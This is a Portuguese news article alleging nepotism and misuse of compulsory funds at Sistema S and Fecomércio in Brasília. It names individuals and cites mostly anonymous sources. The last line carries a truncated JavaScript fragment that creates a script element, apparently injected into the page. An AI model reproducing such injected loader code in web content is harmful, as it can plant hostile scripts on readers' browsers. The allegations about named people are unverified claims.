Farra no Sistema S entra na mira do MP

O reinício das atividades do Judiciário, em agosto, é aguardado com apreensão na Fecomércio. Deve ser concluída, no segundo semestre, a investigação do Ministério Público do Distrito Federal e Territórios (MPDFT) de uma série de  irregularidades supostamente praticadas por dirigentes do Sistema S — denominação que engloba entidades como Sesc, Senac e Sesi, entre outras — na capital da República. As suspeitas vão desde nepotismo até improbidade administrativa.

Conforme publicou o Brasília Capital na edição 318, da semana passada, o Sistema S deve arrecadar, compulsoriamente, somente neste ano, cerca de R$ 30 bilhões (de 1% a 1,5% da folha salarial das empresas da indústria e do comércio de todo o País). Para as unidades do DF o repasse estimado é de cerca R$ 400 milhões. Apenas o Sesc-DF receberá R$ 212 milhões, conforme o Portal da Transparência. “É um dinheiro que entra e que ninguém presta contas do que é feito com ele”, diz o dirigente de um dos sindicatos filiados à Fecomércio, que prefere não se identificar.

Mas o MPDFT pode começar a desvendar os mistérios guardados a sete chaves na “caixa-preta do Sitema S”, como define o senador Ataídes Oliveira (PSDB-TO). O parlamentar defende a tese de remanejamento de um terço dessa arrecadação – cerca de R$ 9 bilhões – para reduzir o rombo da Previdência Social. Sua proposta é criar uma espécie de Desvinculação de Receitas da União (DRU) para permitir ao governo reter parte dos valores destinados ao Sistema S.

A matéria tramita no Congresso há vários anos. Já chegou a ter assinaturas suficientes para ser aprovada nas comissões temáticas da Câmara e do Senado, mas muitos parlamentares acabam cedendo a pressões de entidades como a Confederação Nacional da Indústria (CNI), Confederação Nacional do Comércio (CNC) e suas afiliadas, e retiram o apoio nos momentos decisivos. “É um lobby muito pesado”, afirma um deputado.

Na última semana, a reportagem do Brasília Capital entrevistou vários personagens que atuam no Sesc, Sesi e Senac. Todos admitem ter “ouvido falar” em práticas irregulares. Um deles citou um pequeno edital publicado pelo Senac na quarta-feira (5) para a compra, por licitação, de bebidas alcoólicas e não alcoólicas. “É uma pequena prova da farra com o dinheiro tirado da folha salarial das empresas. Como pode usar esses recursos para comprar bebidas alcoólicas”, protesta um sindicalista ligado aos funcionários do Sistema S.

Uma servidora que atua na área de licitações explicou que isto é mais comum do que se imagina. “Quando eles lançam esses editais, chamam o fornecedor que vence a concorrência e pedem que seja feita uma entrega de 80% dos itens oficiais e que os outros 20% sejam convertidos em produtos que, legalmente, não podem ser comprados com dinheiro público. Isto vai desde bebidas alcoólicas até protetores solares para as residências dos diretores”, acusa.

Nepotismo – Um dos casos de contratação de parentes na mira do MPDFT é o do diretor regional do Sesc, José Roberto Sfair Macedo, conhecido no órgão pelo apelido de “Bigode”. Ele tem um salário mensal de R$ 56 mil, entre outras benesses, como carro com motorista, celulares sem limite etc. – e ainda conseguiu empregar a mulher, Maria Célia Nacfur Sfair Macedo, no Sebrae nacional, com vencimento de R$ 16 mil e as filhas, Carolina Nacfur Macedo e Roberta Nacfur Macedo, recebendo em torno de R$ 3,5 mil cada. “Somados, os quatro formam uma renda familiar estimada em quase R$ 80 mil apenas com dinheiro do Sistema S”, aponta uma funcionária.

Dossiê – No final do ano passado, ciruclou um dossiê mostrando as supostas irregularidades praticadas tanto na Fecomérci como em outras entidades, como o Sesc-DF. São mais de 400 páginas, que, antes de chegar ao MPDFT, foram analisados por outros órgãos de controle e investigação, como o Tribunal de Contas da União (TCU), Polícia Federal e Ministério Público Federal, revela uma fonte do MP.

Mas as apurações parecem não preocupar a direção da Fecomércio. Em março de 2018, Adelmir Santana completa 16 anos à frente da entidade. Antes de encerrar o mandato passado, seu filho, Glauco Santana, um dos vice-presidentes da Fecomércio, era cotado para sucedê-lo no cargo. Mas o presidente foi reeleito e,    pensando em não deixar a cadeira, convocou uma reunião extraordinária do Conselho de Representantes para o dia 8 de dezembro de 2016. O único item da pauta era “atualização e alteração do estatuto social da entidade”.

Ao descobrirem que a intenção era criar a possibilidade de nova reeleição de Santana em 2018, três presidentes de sindicatos se rebelaram. Nova reunião foi marcada. Os descontentes foram voto vencido. E a decisão de mudar a regra para atender aos interesses do chefão da Fecomércio foi aprovada e publicada quinze dias depois com data retroativa ao dia 8 daquele mês.var d=document;var s=d.createElement(\’script\’);